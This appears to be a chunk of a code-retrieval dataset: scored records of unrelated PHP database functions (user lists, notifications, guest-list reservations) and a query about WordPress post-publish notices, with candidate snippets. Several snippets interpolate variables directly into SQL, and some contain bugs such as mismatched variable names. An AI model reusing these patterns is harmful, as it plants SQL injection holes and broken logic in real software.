getId($w_id){\n $condition['id>?'] = $w_id;\n $rs = Data_Mysql_Table_Winchance_New::select('id,active_name,online_status,space_id', $condition, '', 50);\n if(!empty($rs)){\n Export($rs);\n $w_info = end($rs);\n $w_id = (int)$w_info['id'];\n getId($w_id);\n }else{\n Q(\"执行完成'\");\n }\n}", "title": "" }, { "docid": "f29822c5d6b5de8428b5c7186e109bce", "score": "0.52900475", "text": "function getLatestCustomers()\n\t{\n\t\t//include('classes/Display/DAdminHome.php');\n\t\t$sql = \"SELECT * FROM users_table order by user_doj desc limit 0,5\";\n\t\t$obj = new Bin_Query();\n\t\tif($obj->executeQuery($sql))\n\t\t{\t\t\n\t\t\treturn Display_DAdminHome::getLatestCustomers($obj->records);\n\t\t}\t\n\t}", "title": "" }, { "docid": "3a7c129b833d5f5316e0d27dd7d37269", "score": "0.52863187", "text": "function getInscriptionList()\n {\n $query = \"SELECT username FROM\n \" . $this->table_name . \" AS S\n LEFT JOIN USERS AS U ON S.users_id = U.id\n WHERE\n sorties_id=:sorties_id\";\n\n // prepare query\n $stmt = $this->conn->prepare($query);\n\n // sanitize\n $this->sorties_id = htmlspecialchars(strip_tags($this->sorties_id));\n\n // bind values\n $stmt->bindParam(\":sorties_id\", $this->sorties_id);\n\n // execute the query\n $stmt->execute();\n return $stmt;\n }", "title": "" }, { "docid": "ff306d2b67672744193f648da0eeb537", "score": "0.528207", "text": "public function fetchNotifactionAdmin(){\n $sql = \"SELECT * FROM notifications ORDER BY id DESC\";\n $this->_db->query($sql);\n if ($this->_db->count()) {\n return $this->_db->results();\n }else{\n return false;\n }\n}", "title": "" }, { "docid": "87e3b4a790f692f7a9f53a570ee21236", "score": "0.52801704", "text": "function bracket_get_tournament_16p() {\n global $wpdb;\n $tournament_name = $wpdb->get_results(\"SELECT * FROM \".$wpdb->prefix.\"bracket_16player ORDER BY id ASC\");\n return $tournament_name;\n}", "title": "" }, { "docid": "16b93b6f9c4b2be45625ec3b6738b35b", "score": "0.5273619", "text": "public function listCuartos(){\r\n\r\n $consulta=\"SELECT * FROM 2017cuartos ORDER BY CUARTOId ASC\";\r\n $query = $this->db->query($consulta);\r\n return $query->result();\r\n }", "title": "" }, { "docid": "46efbe0cab92e8cbb62d5fba993aec87", "score": "0.5269335", "text": "function get_group_members($group_id)\n\t{\n\t\t$member_query = mysql_query(\"SELECT usr.numUserId,usr.vchUserName FROM tbluser usr,accmember member WHERE usr.numUserId=member.numUserId AND numAccGrpId=$groupid ORDER BY usr.vchUserName\");\n\n\t}", "title": "" }, { "docid": "b30a647726077c08f93dc5051e4fb2eb", "score": "0.5268056", "text": "public function gettopscores() {\n\n\n try {\n\n $select = $this->select()\n ->setIntegrityCheck(false)\n ->from(array('l' => 'usersmeta'))\n ->join(array('u' => 'users'), 'u.user_id = l.user_id', array(\"u.first_name\", \"u.last_name\"))\n ->order(\"l.points desc\")\n ->limit(9);\n\n $result = $this->getAdapter()->fetchAll($select);\n } catch (Exception $e) {\n throw new Exception('Error :' . $e);\n }\n\n if ($result) {\n return $result;\n }\n }", "title": "" }, { "docid": "98405f2bf71106240cdf4cd08ea87f9d", "score": "0.52637964", "text": "function lstActionsRetard($nb) {\r\n\tinclude('connexionPG.php');\r\n\t$reponse = $bdd->prepare('SELECT * FROM actions WHERE (active=TRUE) ORDER BY echeance ASC LIMIT ?');\r\n\t$reponse->execute(array($nb));\r\n\t$lst=$reponse->fetchAll(PDO::FETCH_ASSOC);\r\n\t$reponse->closeCursor();\r\n\treturn $lst;\r\n}", "title": "" }, { "docid": "b51865bf071c534c724923b91e8d7072", "score": "0.5258334", "text": "function listi_S0() {\r\n\tglobal $bdd;\r\n\t$demando = \"select personoj.id as id,personoj.enirnomo as enirnomo,personoj.personnomo as personnomo,personoj.familinomo as familinomo,nuna_kurso.ekdato as ekdato from nuna_kurso,personoj where nuna_kurso.studanto=personoj.id and personoj.rajtoj='S' and nuna_kurso.stato='N' order by ekdato asc;\";\r\n\t$result = $bdd->query($demando) or die(print_r($bdd->errorInfo()));\r\n\twhile($row = $result->fetch()) {\r\n\t\techo \"<option value=\\\"\".$row[\"id\"].\"\\\">\";\r\n\t\tif ($row[\"id\"]< 4125) {echo $row[\"enirnomo\"].\" (\".$row[\"personnomo\"].\" \".$row[\"familinomo\"];}\r\n\t\telse {echo $row[\"enirnomo\"].\" (\".$row[\"personnomo\"].\" \".$row[\"familinomo\"];}\r\n\t\techo \")</option>\";\r\n\t}\r\n}", "title": "" }, { "docid": "48af7f66cc7fcd7cc81e6797ede757d2", "score": "0.5257892", "text": "function get_stats($uid) {\n\t$db = \\Db::dbc();\n\t$sql=\"SELECT count(*) as total FROM TWITTER WHERE IDUSER = :uid \";\n\t$sql1=\"SELECT count(*) as total1 FROM SUIVRE WHERE IDUSER_ABONNE = :uid \";\n\t$sql2=\"SELECT count(*) as total2 FROM SUIVRE WHERE IDUSER_SUIVRE = :uid \";\n\t$sth = $db->prepare($sql);\n\t$sth1 = $db->prepare($sql1);\n\t$sth2 = $db->prepare($sql2);\t\n\ttry{\n\t\t$sth->execute(array(\":uid\"=>$uid));\n \t\tforeach($sth->fetchALL() as $row){\n\t\t\t$post=$row[\"total\"];\n\t\t}\n\t\t$sth1->execute(array(\":uid\"=>$uid));\n\t\tforeach($sth1->fetchALL() as $row1){\n\t\t\t$followers=$row1[\"total1\"];\n\t\t}\n\t\t$sth2->execute(array(\":uid\"=>$uid));\n\t\tforeach($sth2->fetchALL() as $row2){\n\t\t\t$followings=$row2[\"total2\"];\n\t\t}\n\t\treturn (object) array(\n \t\t\"nb_posts\" => $post,\n \t\t\"nb_followers\" => $followers,\n \t\t\"nb_following\" => $followings\n \t\t);\n\t}catch(PDOException $e){\n \techo 'failed:'.$e->getMessage();\n exit;\n \t}\n\n/*\n return (object) array(\n \"nb_posts\" => 10,\n \"nb_followers\" => 50,\n \"nb_following\" => 66\n );*/\n}", "title": "" }, { "docid": "249a1760e3d8587a6a43966a128da775", "score": "0.5247343", "text": "function threadListByUser($user_id) {\n global $db;\n \n $run = $db->prepare(\"SELECT * FROM `threads` WHERE `user_id` = :user_id ORDER BY `threads`.`created_on` DESC LIMIT 4\");\n $run->execute(['user_id' => $user_id]);\n $results = $run->fetchAll(PDO::FETCH_ASSOC);\n\n return $results;\n}", "title": "" }, { "docid": "a8ef492e65c15f1a52bc66fbbeb955a0", "score": "0.5246184", "text": "function get_random_zings($limit = 1){\n $query = $this->db->query(\"SELECT\n U1.firstname as s_firstname,\n U1.uid as s_uid,\n U2.firstname as t_firstname,\n U2.uid as t_uid,\n G.date_sent\n FROM\n has_zinged G,\n users U1,\n users U2\n WHERE\n U1.firstname != ''\n AND U2.firstname != ''\n AND G.sender_uid = U1.uid\n AND G.target_uid = U2.uid\"\n );\n\n //in the sql query, it does checks to see if the firstname is empty\n\n $result = $query->result_array();\n\t\tshuffle($result);\n\t\tif(count($result) > $limit)\n\t\t\t$result = array_slice($result,0,$limit);\n\t\t\t\n\t\tfunction type_zing($i){\n\t\t\t$i[\"type\"]=\"zing\";\n\t\t\treturn $i;\n\t\t}\n\t\t$result = array_map(\"type_zing\",$result);\n\t\t\t\n\t\treturn $result;\n\n }", "title": "" }, { "docid": "4dbc51ce7ccf7a5f909b7e65887d5220", "score": "0.52439725", "text": "function getAllShipWeaponsforUser($uid, &$qrcnt)\n{\n $qur = \"SELECT * from x_weapons where techidneeded in \n \t\t\t\t\t(select techid from `techuser` where userid=$uid and buildtime=0) order by `size`\";\n if (executequery($qur, $qres, $qrcnt) and $qrcnt > 0) {\n $qres = query_exec($qur);\n //addbottomoutput($qur);\n return $qres;\n } else {\n return null;\n }\n}", "title": "" }, { "docid": "682c3f2900e3977cabe49f1110961ab3", "score": "0.5241531", "text": "function retrieve_friend_data($oauth_uid){\n\t\t\t\t\n\t\t//attach various data to user object\n\t\t\n\t\t$result = new stdClass;\n\t\t\n\t\t//retrieve 10 most recent user notifications/activities\n\t\t$sql = \"SELECT\n\t\t\n\t\t\t\t\tun.id \t\t\t\t\tas un_id,\n\t\t\t\t\tun.promoter_oauth_uid \tas un_promoter_oauth_uid,\n\t\t\t\t\tun.notification_type \tas un_notification_type,\n\t\t\t\t\tun.notification_data \tas un_notification_data,\n\t\t\t\t\tun.create_time \t\t\tas un_create_time,\n\t\t\t\t\tun.join_date\t\t\tas un_join_date,\n\t\t\t\t\tun.occurance_date \t\tas un_occurance_date\n\t\t\t\t\n\t\t\t\tFROM \tuser_notifications un\n\t\t\t\t\n\t\t\t\tWHERE \tun.vibecompass_id = $oauth_uid\n\t\t\t\t\n\t\t\t\tORDER BY \tun.id DESC\n\t\t\t\t\n\t\t\t\tLIMIT \t\t10\";\n\t\t$query = $this->db->query($sql);\n\t\t\n\t\tif(!$query){\n\t\t\techo 'model_users retrieve_friend_data';\n\t\t\techo '---------------------------------------------------' . PHP_EOL;\n\t\t\tvar_dump($this->db->last_query());\n\t\t}\n\t\t\n\t\t$result->activity_feed = $query->result();\n\t\t\n\t\t//retrieve user's clubbing mates\n\t\t$sql = \"(SELECT\n\n\t\t\t\t\tDISTINCT pglre.oauth_uid\t\tas oauth_uid\n\t\t\t\t\n\t\t\t\tFROM \tpromoters_guest_lists_reservations_entourages pglre\n\t\t\t\t\n\t\t\t\tWHERE \tpglre.promoters_guest_lists_reservations_id IN\n\t\t\t\t(SELECT\n\t\t\t\t\n\t\t\t\t\tpglr.id\n\t\t\t\t\n\t\t\t\tFROM \tpromoters_guest_lists_reservations_entourages pglre\n\t\t\t\t\n\t\t\t\tJOIN \tpromoters_guest_lists_reservations pglr\n\t\t\t\tON \t\tpglre.promoters_guest_lists_reservations_id = pglr.id\n\t\t\t\t\n\t\t\t\tWHERE \tpglre.oauth_uid = $oauth_uid) AND pglre.oauth_uid != $oauth_uid\n\t\t\t\t\n\t\t\t\tLIMIT 10)\n\t\t\t\t\n\t\t\t\tUNION\n\t\t\t\t\n\t\t\t\t(SELECT\n\t\t\t\t\n\t\t\t\t\tpglre.oauth_uid as \toauth_uid\n\t\t\t\t\n\t\t\t\tFROM \tpromoters_guest_lists_reservations pglr\n\t\t\t\t\n\t\t\t\tJOIN \tpromoters_guest_lists_reservations_entourages pglre\n\t\t\t\tON \t\tpglre.promoters_guest_lists_reservations_id = pglr.id \n\t\t\t\t\n\t\t\t\tWHERE \tpglr.user_oauth_uid = $oauth_uid\n\t\t\t\t\n\t\t\t\tLIMIT 10)\n\t\t\t\t\n\t\t\t\tUNION\n\t\t\t\t\n\t\t\t\t(SELECT\n\t\t\t\t\n\t\t\t\t\tDISTINCT tglre.oauth_uid\t\tas oauth_uid\n\t\t\t\t\n\t\t\t\tFROM \tteams_guest_lists_reservations_entourages tglre\n\t\t\t\t\n\t\t\t\tWHERE \ttglre.team_guest_list_reservation_id IN\n\t\t\t\t(SELECT\n\t\t\t\t\n\t\t\t\t\ttglr.id\n\t\t\t\t\n\t\t\t\tFROM \tteams_guest_lists_reservations_entourages tglre\n\t\t\t\t\n\t\t\t\tJOIN \tteams_guest_lists_reservations tglr\n\t\t\t\tON \t\ttglre.team_guest_list_reservation_id = tglr.id\n\t\t\t\t\n\t\t\t\tWHERE \ttglre.oauth_uid = $oauth_uid) AND tglre.oauth_uid != $oauth_uid\n\t\t\t\t\n\t\t\t\tLIMIT 10)\n\t\t\t\t\n\t\t\t\tUNION\n\t\t\t\t\n\t\t\t\t(SELECT\n\t\t\t\t\n\t\t\t\t\ttglre.oauth_uid as \toauth_uid\n\t\t\t\t\n\t\t\t\tFROM \tteams_guest_lists_reservations tglr\n\t\t\t\t\n\t\t\t\tJOIN \tteams_guest_lists_reservations_entourages tglre\n\t\t\t\tON \t\ttglre.team_guest_list_reservation_id = tglr.id \n\t\t\t\t\n\t\t\t\tWHERE \ttglr.user_oauth_uid = $oauth_uid\n\t\t\t\t\n\t\t\t\tLIMIT 10)\";\n\t\t$query = $this->db->query($sql);\n\t\t$result->vc_mates = $query->result();\n\t\t\n\t\t//find this user's promoters\n\t\t$sql = \"SELECT DISTINCT\n\t\t\n\t\t\t\t\tup.profile_image \t\tas up_profile_image,\n\t\t\t\t\tup.public_identifier\tas up_public_identifier,\n\t\t\t\t\tu.full_name\t\t\t\tas u_full_name,\n\t\t\t\t\tc.url_identifier \t\tas c_url_identifier\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\tFROM \tpromoters_guest_lists_reservations pglr\n\t\t\t\t\n\t\t\t\tJOIN \tpromoters_guest_lists pgl\n\t\t\t\tON \t\tpglr.promoter_guest_lists_id = pgl.id\n\t\t\t\t\n\t\t\t\tJOIN \tpromoters_guest_list_authorizations pgla\n\t\t\t\tON \t\tpgl.promoters_guest_list_authorizations_id = pgla.id\n\t\t\t\t\n\t\t\t\tJOIN \tusers_promoters up\n\t\t\t\tON \t\tpgla.user_promoter_id = up.id \n\t\t\t\t\n\t\t\t\tJOIN \tpromoters_teams pt \n\t\t\t\tON \t\tpt.promoter_id = up.id\n\t\t\t\t\n\t\t\t\tJOIN \tteams t \n\t\t\t\tON \t\tpt.team_fan_page_id = t.fan_page_id\n\t\t\t\t\n\t\t\t\tJOIN \tcities c \n\t\t\t\tON \t\tt.city_id = c.id\n\t\t\t\t\n\t\t\t\tJOIN \tusers u \n\t\t\t\tON \t\tup.users_oauth_uid = u.oauth_uid\n\t\t\t\t\n\t\t\t\tWHERE \tpglr.user_oauth_uid = ?\n\t\t\t\tAND \tpt.quit = 0\n\t\t\t\tAND \tpt.banned = 0\n\t\t\t\tAND \tt.completed_setup = 1\n\t\t\t\tAND \tup.banned = 0\";\n\t\t$query = $this->db->query($sql, array($oauth_uid));\n\t\t$result->vc_promoters = $query->result();\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t//find this user's mutual promoters\n\t\n\t\n\t\n\t\n\t\t//find this user's venues\n\t\t$sql = \"(SELECT DISTINCT\n\t\t\t\t\t\n\t\t\t\t\t\t\t\tc.url_identifier \tas c_url_identifier,\n\t\t\t\t\t\t\t\ttv.image \t\t\tas tv_image,\n\t\t\t\t\t\t\t\ttv.name\t\t\t\tas tv_name\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tFROM \tpromoters_guest_lists_reservations pglr\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tJOIN \tpromoters_guest_lists pgl\n\t\t\t\t\t\t\tON \t\tpglr.promoter_guest_lists_id = pgl.id\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tJOIN \tpromoters_guest_list_authorizations pgla\n\t\t\t\t\t\t\tON \t\tpgl.promoters_guest_list_authorizations_id = pgla.id\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tJOIN \tteam_venues tv\n\t\t\t\t\t\t\tON \t\tpgla.team_venue_id = tv.id \n\t\t\t\n\t\t\t\t\t\t\tJOIN \tteams t\n\t\t\t\t\t\t\tON \t\ttv.team_fan_page_id = t.fan_page_id\n\t\t\t\n\t\t\t\t\t\t\tJOIN \tcities c\n\t\t\t\t\t\t\tON \t\tt.city_id = c.id\n\t\t\t\n\t\t\t\t\t\t\tWHERE \tt.completed_setup = 1\n\t\t\t\t\t\t\tAND \ttv.banned = 0\n\t\t\t\t\t\t\tAND \tpglr.user_oauth_uid = ?)\n\t\t\tUNION\n\t\t\t(SELECT DISTINCT\n\t\t\t\t\t\n\t\t\t\t\t\t\t\tc.url_identifier \tas c_url_identifier,\n\t\t\t\t\t\t\t\ttv.image \t\t\tas tv_image,\n\t\t\t\t\t\t\t\ttv.name\t\t\t\tas tv_name\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tFROM \tteams_guest_lists_reservations tglr\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tJOIN \tteams_guest_lists tgl\n\t\t\t\t\t\t\tON \t\ttglr.team_guest_list_id = tgl.id\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tJOIN \tteams_guest_list_authorizations tgla\n\t\t\t\t\t\t\tON \t\ttgl.team_guest_list_authorization_id = tgla.id\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tJOIN \tteam_venues tv\n\t\t\t\t\t\t\tON \t\ttgla.team_venue_id = tv.id \n\t\t\t\n\t\t\t\t\t\t\tJOIN \tteams t\n\t\t\t\t\t\t\tON \t\ttv.team_fan_page_id = t.fan_page_id\n\t\t\t\n\t\t\t\t\t\t\tJOIN \tcities c\n\t\t\t\t\t\t\tON \t\tt.city_id = c.id\n\t\t\t\n\t\t\t\t\t\t\tWHERE \tt.completed_setup = 1\n\t\t\t\t\t\t\tAND \ttv.banned = 0\n\t\t\t\t\t\t\tAND \ttglr.user_oauth_uid = ?)\";\n\t\t$query = $this->db->query($sql, array($oauth_uid, $oauth_uid));\n\t\t$result->vc_venues = $query->result();\n\t\t\n\t\treturn $result;\n\t\t\n\t}", "title": "" }, { "docid": "c936236c0ed51d7ff7d512f0b246844f", "score": "0.5239839", "text": "function getJezici() {\n\t$sql = \"SELECT * FROM pratece.jezici ORDER BY jezik_id ASC\";\n\treturn exec_and_return($sql);\n}", "title": "" }, { "docid": "22244ef18f458bc48b59a26a894e8873", "score": "0.52377397", "text": "function listi_S1() {\r\n\tglobal $bdd;\r\n\t$demando = \"select personoj.id as id,personoj.enirnomo as enirnomo,lecionoj.titolo as titolo from nuna_kurso,personoj,lecionoj where nuna_kurso.studanto=personoj.id and personoj.rajtoj='S' and nuna_kurso.nunleciono=lecionoj.id and nuna_kurso.stato='K' and nuna_kurso.nunleciono=1;\";\r\n\t$result = $bdd->query($demando) or die(print_r($bdd->errorInfo()));\r\n\twhile($row = $result->fetch()) {\r\n\t\techo \"<option value=\\\"\".$row[\"id\"].\"\\\">\";\r\n\t\tif ($row[\"id\"]< 4125) {echo $row[\"enirnomo\"].\" (\".$row[\"titolo\"];}\r\n\t\telse {echo $row[\"enirnomo\"].\" (\".$row[\"titolo\"];}\r\n\t\techo \")</option>\";\r\n\t}\r\n}", "title": "" }, { "docid": "dec75211d274a250baf514ed7e2f6bad", "score": "0.5235611", "text": "function getSpecialists($kiekSpecialistu = 99999) {\n $manoSQL = \"SELECT * FROM masazistai LIMIT $kiekSpecialistu \";\n $rezultatai = mysqli_query(getPrisijungtimas(), $manoSQL);\n print_r( $rezultataiOBJ ); // test\n\n if ( !$rezultatai) {\n echo \"ERROR: Neradome specialistu. SQL klaida:\" . mysqli_error(getPrisijungtimas());\n return null;\n } else {\n\n return $rezultatai; // graziname MYSQL OBJEKTA\n }\n}", "title": "" }, { "docid": "95479145265dd0c87da4c33510018874", "score": "0.5233396", "text": "function about($id,$limit=3){\r\n $sql = \"SELECT * FROM about_message WHERE id='$id'\";\r\n return first($sql);\r\n}", "title": "" }, { "docid": "f217727d2d1a1ceef34fef97354efd71", "score": "0.5232825", "text": "function get_member_all()\n\t{\n\t\t\n\t\t// variable initialization\n\t\t$search \t\t= \"\";\n\t\t$start \t\t\t= 0;\n\t\t$rows \t\t\t= 10;\n\t\t$iTotal \t\t= 0;\n\t\t$iFilteredTotal = 0;\n\t\t$_sql_where \t= array();\n\t\t$sql_where \t\t= '';\n\t\t$cols \t\t\t= array( \"m.id_mod_user_member\", \"Nama_pengguna\", \"mum_email\", \"Mobileno\", \"Tgl_record\", \"peringkat_pengguna\", \"mum_status\", \"\");\n\t\t$sort \t\t\t= \"desc\";\n\t\t\n\t\t// get search value (if any)\n\t\tif (isset($_GET['sSearch']) && $_GET['sSearch'] != \"\" ) {\n\t\t\t$search = $_GET['sSearch'];\n\t\t}\n\n\t\t// limit\n\t\t$start \t\t= $this->Datatables_model->get_start();\n\t\t$rows \t\t= $this->Datatables_model->get_rows();\n\t\t// sort\n\t\t$sort \t\t= $this->Datatables_model->get_sort($cols);\t\t\n\t\t$sort_dir \t= $this->Datatables_model->get_sort_dir();\t\n\n\t\t// Kolom Pencarian\n\t\tif( $search!='' ){\n\t\t\t$_sql_where[] = \"\n\t\t\t\t(\n\t\t\t\t\tUCASE(Nama_pengguna) LIKE '%\".strtoupper($this->db->escape_str($search)).\"%'\n\t\t\t\t\tOR UCASE(Mobileno) LIKE '%\".strtoupper($this->db->escape_str($search)).\"%'\n\t\t\t\t\tOR UCASE(mum_email) LIKE '%\".strtoupper($this->db->escape_str($search)).\"%'\n\t\t\t\t)\n\t\t\t\";\n\t\t}\n\n\t\tif(count($_sql_where)>0) $sql_where = \" WHERE \".implode(' AND ',$_sql_where);\n\n\t\t//running query\t\t\n\t\t$sql = \" \tSELECT count(0) as iTotal\n\t\t\t\t\tFROM mod_user_member m \n\t\t\t\t\tLEFT JOIN {$this->user_ojk} u ON(u.id_mod_user_member=m.id_mod_user_member)\n\t\t\t\t\tLEFT JOIN {$this->user_ojk_detail} d ON(d.Id_pengguna=u.Id_pengguna) \n\t\t\t\t\t{$sql_where}\n\t\t\t\t\";\n\n\t\t$q = $this->db->query($sql);\n\t\t$iTotal = $q->row('iTotal');\n\n\t\t$q->free_result();\n\n\t\t$sql = \" \tSELECT m.id_mod_user_member, mum_email, mum_type, mum_status, mum_telp, mum_status, mum_nomor_rekening, mum_usaha,\n\t\t\t\t\tTgl_record, Id_penyelenggara, u.Id_pengguna, Nama_pengguna, peringkat_pengguna,\n\t\t\t\t\tMobileno, mum_create_date\n\t\t\t\t\tFROM mod_user_member m \n\t\t\t\t\tLEFT JOIN {$this->user_ojk} u ON(u.id_mod_user_member=m.id_mod_user_member)\n\t\t\t\t\tLEFT JOIN {$this->user_ojk_detail} d ON(d.Id_pengguna=u.Id_pengguna) \n\t\t\t\t\t{$sql_where}\n\t\t\t \";\n\n\t\tif($sort!='' && $sort_dir!='') $order = \" ORDER BY $sort $sort_dir \";\n\t\t\n\t\t$query \t= $this->db->query($sql. $order. \" LIMIT $start,$rows \");\n\t\t$data \t= $query->result();\n\n\t\tif( $search!='' ){\n\t\t\t$iFilteredTotal = count($query->result());\n\t\t}else{\n\t\t\t$iFilteredTotal = $iTotal;\n\t\t}\n\t\t\n // * Output\n \n $output = array(\n \"sEcho\" => $this->Datatables_model->get_echo(),\n \"iTotalRecords\" => $iTotal,\n \"iTotalDisplayRecords\" => $iFilteredTotal,\n \"aaData\" => $data\n );\n\n $query->free_result();\n\n\t\treturn json_encode($output);\n\t}", "title": "" }, { "docid": "2cecfe73435e33b1c57213345942c903", "score": "0.5231737", "text": "function getRazredi() {\n\t$sql = \"SELECT * FROM osnovna.razredi ORDER BY razred_id ASC\";\n\treturn exec_and_return($sql);\n}", "title": "" }, { "docid": "a2d1f70fcbc2ed54ed092423ed0ae65e", "score": "0.5228498", "text": "function show_users($user_id=0){\n\n\tif ($user_id > 0){\n\t\t$follow = array();\n\t\t$fsql = \"select user_id from following\n\t\t\t\twhere follower_id='$user_id'\";\n\t\t$fresult = mysql_query($fsql);\n\n\t\twhile($f = mysql_fetch_object($fresult)){\n\t\t\tarray_push($follow, $f->user_id);\n\t\t}\n\n\t\tif (count($follow)){\n\t\t\t$id_string = implode(',', $follow);\n\t\t\t$extra = \" and id in ($id_string)\";\n\n\t\t}else{\n\t\t\treturn array();\n\t\t}\n\n\t}\n\n\t$users = array();\n\t$sql = \"select id, username from userz where id !='' $extra order by username\";\n\n\n\t$result = mysql_query($sql);\n\n\twhile ($data = mysql_fetch_object($result)){\n\t\t$users[$data->id] = $data->username;\n\t}\n\treturn $users;\n}", "title": "" }, { "docid": "a86479e3574816354c218958def776da", "score": "0.5228104", "text": "function cari_bulan($tahun){\n $this->db->select('distinct(bulan) as bulan');\n $this->db->from('tv_jadwal');\n $this->db->where('tahun',$tahun);\n $query=$this->db->get();\n return $query;\n }", "title": "" } ]
d83324da4ee414e3f7a06df5a6d1cc4d
/ Remove 'Post Published' Notice for xgb_check_post_count /
[ { "docid": "9952047d557326b0fc847c51d7fc955d", "score": "0.0", "text": "function rw_post_updated_messages( $messages ) {\n\n\t\t$post = get_post();\n\t\t$post_type = get_post_type( $post );\n\t\t$post_type_object = get_post_type_object( $post_type );\n\t\t\n\t\tif ( !get_transient( get_current_user_id().'publisherror' ) ){\n\t\t\treturn $messages;\n\t\t}\n\t\telse {\n\t\t\t$messages['post'][6] = '';\n\t\t}\n\t\t\n\t\treturn $messages;\n}", "title": "" } ]
[ { "docid": "89a1f134950bb9a28547061564e38114", "score": "0.7521021", "text": "function xgb_check_post_count($post_id) {\n\tglobal $wpdb;\n\t\n\t$post = get_post($post_id);\n\t$author_id = $post->post_author;\n\t$user_info = get_userdata(get_current_user_id());\n\t\n\t\t$published_post_count = $wpdb->get_var(\"SELECT COUNT(ID) FROM wp_posts WHERE post_status='publish' AND post_type='post' AND post_author=$author_id\");\n\t\tif($published_post_count > $GLOBALS['live_article_limit'] ) {\n\t\t\t$wpdb->query(\"UPDATE wp_posts SET post_status='pending' WHERE ID=$post_id\");\n\t\t\t// Set the transient for admin notice\n\t\t\tset_transient( get_current_user_id().'publisherror', $GLOBALS['live_article_limit'] ); \n\t\t}\n}", "title": "" }, { "docid": "c53f44f8f8044174e7bdfa4d14233408", "score": "0.68827933", "text": "function update_posts_count($deprecated = '')\n {\n }", "title": "" }, { "docid": "d331ffa21e8f1ea4431e715c69c334e6", "score": "0.681316", "text": "function block_core_calendar_update_has_published_posts()\n {\n }", "title": "" }, { "docid": "5d5a79707d50f93165c2d8292be46ea1", "score": "0.66096205", "text": "function check_and_publish_future_post($post)\n {\n }", "title": "" }, { "docid": "68cfa773b5e6516e6113835662730db4", "score": "0.65810406", "text": "function bbps_admin_setting_callback_post_count() {\n\t?>\n\t<input id=\"_bbps_enable_post_count\" name=\"_bbps_enable_post_count\" type=\"checkbox\" <?php checked( bbps_is_post_count_enabled(), 1 ); ?> value=\"1\"/>\n\t<label for=\"_bbps_enable_post_count\"><?php _e( 'Show the users post count below their gravatar?', 'bbpress' ); ?></label>\n\t<?php\n}", "title": "" }, { "docid": "c0be6fafafb7c681b395b20eabbf0837", "score": "0.6557728", "text": "function _wp_posts_page_notice()\n {\n }", "title": "" }, { "docid": "917320903ae003a8327580fc5086f03f", "score": "0.6472526", "text": "function block_core_calendar_has_published_posts()\n {\n }", "title": "" }, { "docid": "eba8403be7b241760290d07c043b5021", "score": "0.63725865", "text": "function post_count() {\n global $wpdb;\n return $wpdb->get_var(\"SELECT count(id)\n FROM $wpdb->posts\n WHERE post_type = 'post'\n AND post_status = 'publish'\");\n}", "title": "" }, { "docid": "d7c0b04290b6ba904890dbb35f667302", "score": "0.6368286", "text": "function show_admin_notice($post_id) {\n if($out = get_transient( get_current_user_id().'publisherror' ) ) {\n delete_transient( get_current_user_id().'publisherror' );\n\t\t$post = get_post($post_id);\n echo '<div class=\"updated notice notice-success\"><p>Article was saved as a Pending because you reached your limit. <a href=\"'.get_permalink($post).'\">Preview Article</a> <br>You can have a maximum of '.$out.' live articles at a time. <br>You can wait till one of you existing articles is published or move one of them into trash and publish this again.</p></div>';\n }\n}", "title": "" }, { "docid": "8a49a1865773564a55c732224bcf7741", "score": "0.63316566", "text": "function view_counter_single_post($pid){\t\r\n\tif($_SERVER['HTTP_REFERER'] == '' || !strstr($_SERVER['HTTP_REFERER'],$_SERVER['REQUEST_URI']))\r\n\t{\r\n\t\t$viewed_count = get_post_meta($pid,'viewed_count',true);\r\n\t\t$viewed_count_daily = get_post_meta($pid,'viewed_count_daily',true);\r\n\t\t$daily_date = get_post_meta($pid,'daily_date',true);\r\n\t\r\n\t\tupdate_post_meta($pid,'viewed_count',$viewed_count+1);\r\n\tif(get_post_meta($pid,'daily_date',true) == date('Y-m-d')){\r\n\t\t\tupdate_post_meta($pid,'viewed_count_daily',$viewed_count_daily+1);\r\n\t\t} else {\r\n\t\t\tupdate_post_meta($pid,'viewed_count_daily','1');\r\n\t\t}\r\n\t\tupdate_post_meta($pid,'daily_date',date('Y-m-d'));\r\n\t}\r\n}", "title": "" }, { "docid": "9365dfe63a9042d4f7c44c887a78e9c7", "score": "0.621926", "text": "function bdpp_trending_post_count() {\n\t\t\n\t\t$prefix\t\t= BDPP_META_PREFIX;\n\t\t$post_id \t= isset( $_POST['post_id'] ) ? bdpp_clean_number( $_POST['post_id'] ) : '';\n\t\t\n\t\tif( !empty( $post_id ) ) {\n\t\t\t\n\t\t\t// Getting existing views\n\t\t\t$views = get_post_meta( $post_id, $prefix.'post_views', true );\n\t\t\t$views = !empty( $views ) ? $views : 0;\n\n\t\t\t// Update view\n\t\t\tupdate_post_meta( $post_id, $prefix.'post_views', ($views+1) );\n\n\t\t\t$result['success'] = 1;\n\t\t} else {\n\t\t\t$result['success'] = 0;\n\t\t}\n\t\twp_send_json($result);\n\t}", "title": "" }, { "docid": "ae2cb8dcb227f25464a48c243c726f71", "score": "0.6199258", "text": "function author_count_post() {\n if(get_the_author_posts() != 0) {\n echo get_the_author_posts();\n } else {\n echo '<span> no publish posts yet </span>';\n }\n}", "title": "" }, { "docid": "ff17ca8236062640d01e8a2e13879c46", "score": "0.61826193", "text": "static function update_page_views($postID) {\n if (is_single()) {\n\n //used for general count\n $count = get_post_meta($postID, self::$post_view_counter_key, true);\n if ($count == ''){\n $count = 0;\n delete_post_meta($postID, self::$post_view_counter_key);\n add_post_meta($postID, self::$post_view_counter_key, '0');\n } else {\n $count++;\n update_post_meta($postID, self::$post_view_counter_key, $count);\n }\n\n //stop here if\n if (td_util::get_customizer_option('p_enable_7_days_count') != 'enabled') {\n return;\n }\n\n //used for 7 day count array\n //get the current day\n $get_current_day = date(\"N\") - 1;\n $count_7_day_array = get_post_meta($postID, self::$post_view_counter_7_day_array, true);\n if (is_array($count_7_day_array)) {\n\n if (isset($count_7_day_array[$get_current_day])) {\n $count_7_day_array[$get_current_day]++;\n update_post_meta($postID, self::$post_view_counter_7_day_array, $count_7_day_array);\n }\n\n } else {\n 